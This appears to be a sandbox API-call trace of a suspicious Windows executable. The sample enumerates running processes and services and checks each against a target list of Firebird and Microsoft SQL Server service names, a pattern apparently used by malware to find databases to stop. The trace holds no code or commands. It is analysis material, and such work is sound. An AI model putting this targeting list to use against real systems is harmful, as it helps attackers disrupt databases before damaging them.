1 [0206.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0206.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0206.942] lstrlenW (lpString="StateRepository") returned 15 [0206.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0206.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0206.942] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0206.942] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0206.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0206.942] lstrlenW (lpString="SysMain") returned 7 [0206.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0206.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0206.942] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0206.942] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0206.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0206.942] lstrlenW (lpString="SystemEventsBroker") returned 18 [0206.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0206.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0206.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0206.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0206.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0206.943] lstrlenW (lpString="Themes") returned 6 [0206.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0206.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0206.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0206.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0206.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0206.943] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0206.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0206.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0206.943] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0206.943] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0206.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0207.266] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.269] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.270] lstrlenW (lpString="System") returned 6 [0207.270] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.271] lstrlenW (lpString="smss.exe") returned 8 [0207.271] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.271] lstrlenW (lpString="csrss.exe") returned 9 [0207.271] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.272] lstrlenW (lpString="wininit.exe") returned 11 [0207.272] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.272] lstrlenW (lpString="csrss.exe") returned 9 [0207.272] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.272] lstrlenW (lpString="winlogon.exe") returned 12 [0207.272] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.273] lstrlenW (lpString="services.exe") returned 12 [0207.273] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.273] lstrlenW (lpString="lsass.exe") returned 9 [0207.273] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0207.274] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0207.274] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0207.274] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0207.274] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.275] lstrlenW (lpString="svchost.exe") returned 11 [0207.275] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.275] lstrlenW (lpString="svchost.exe") returned 11 [0207.275] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.276] lstrlenW (lpString="dwm.exe") returned 7 [0207.276] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.276] lstrlenW (lpString="svchost.exe") returned 11 [0207.276] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.276] lstrlenW (lpString="svchost.exe") returned 11 [0207.277] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.277] lstrlenW (lpString="svchost.exe") returned 11 [0207.277] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.277] lstrlenW (lpString="svchost.exe") returned 11 [0207.277] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.278] lstrlenW (lpString="svchost.exe") returned 11 [0207.278] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.278] lstrlenW (lpString="svchost.exe") returned 11 [0207.278] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.279] lstrlenW (lpString="svchost.exe") returned 11 [0207.279] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.279] lstrlenW (lpString="svchost.exe") returned 11 [0207.279] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.280] lstrlenW (lpString="svchost.exe") returned 11 [0207.280] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.280] lstrlenW (lpString="svchost.exe") returned 11 [0207.280] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.280] lstrlenW (lpString="spoolsv.exe") returned 11 [0207.280] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.281] lstrlenW (lpString="svchost.exe") returned 11 [0207.281] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.281] lstrlenW (lpString="audiodg.exe") returned 11 [0207.281] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0207.282] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0207.282] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0207.282] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0207.282] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0207.283] lstrlenW (lpString="Memory Compression") returned 18 [0207.283] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0207.283] lstrlenW (lpString="sihost.exe") returned 10 [0207.283] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.283] lstrlenW (lpString="svchost.exe") returned 11 [0207.284] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0207.284] lstrlenW (lpString="taskhostw.exe") returned 13 [0207.284] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0207.284] lstrlenW (lpString="msoia.exe") returned 9 [0207.284] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.285] lstrlenW (lpString="explorer.exe") returned 12 [0207.285] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0207.285] lstrlenW (lpString="SearchUI.exe") returned 12 [0207.285] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0207.286] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0207.286] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0207.286] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0207.286] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.286] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0207.287] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0207.287] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0207.287] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0207.287] lstrlenW (lpString="dllhost.exe") returned 11 [0207.287] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0207.288] lstrlenW (lpString="dllhost.exe") returned 11 [0207.288] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0207.288] CloseHandle (hObject=0x3f8) returned 1 [0207.288] Sleep (dwMilliseconds=0x1f4) [0208.370] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447aef0 [0208.370] EnumServicesStatusExW (in: hSCManager=0x447aef0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0208.371] GetLastError () returned 0xea [0208.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0208.371] EnumServicesStatusExW (in: hSCManager=0x447aef0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0208.372] CloseServiceHandle (hSCObject=0x447aef0) returned 1 [0208.372] lstrlenW (lpString="Appinfo") returned 7 [0208.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0208.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0208.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0208.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0208.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0208.372] lstrlenW (lpString="AppXSvc") returned 7 [0208.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0208.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0208.372] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0208.372] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0208.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0208.373] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0208.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.373] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0208.373] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0208.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0208.373] lstrlenW (lpString="Audiosrv") returned 8 [0208.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0208.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0208.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0208.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0208.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0208.373] lstrlenW (lpString="BFE") returned 3 [0208.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0208.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0208.373] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0208.373] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0208.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0208.373] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0208.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0208.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0208.373] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0208.373] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0208.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0208.373] lstrlenW (lpString="CDPSvc") returned 6 [0208.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0208.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0208.373] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0208.373] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0208.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0208.373] lstrlenW (lpString="ClickToRunSvc") returned 13 [0208.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0208.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0208.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0208.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0208.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0208.374] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0208.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0208.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0208.374] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0208.374] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0208.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0208.374] lstrlenW (lpString="CryptSvc") returned 8 [0208.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0208.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0208.374] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0208.374] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0208.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0208.374] lstrlenW (lpString="DcomLaunch") returned 10 [0208.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.374] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0208.374] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0208.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0208.374] lstrlenW (lpString="DeviceAssociationService") returned 24 [0208.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0208.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0208.374] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0208.374] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0208.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0208.374] lstrlenW (lpString="Dhcp") returned 4 [0208.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0208.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0208.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0208.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0208.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0208.375] lstrlenW (lpString="Dnscache") returned 8 [0208.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0208.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0208.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0208.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0208.375] lstrcmpiW (lpString1="sqlserveradhelper", 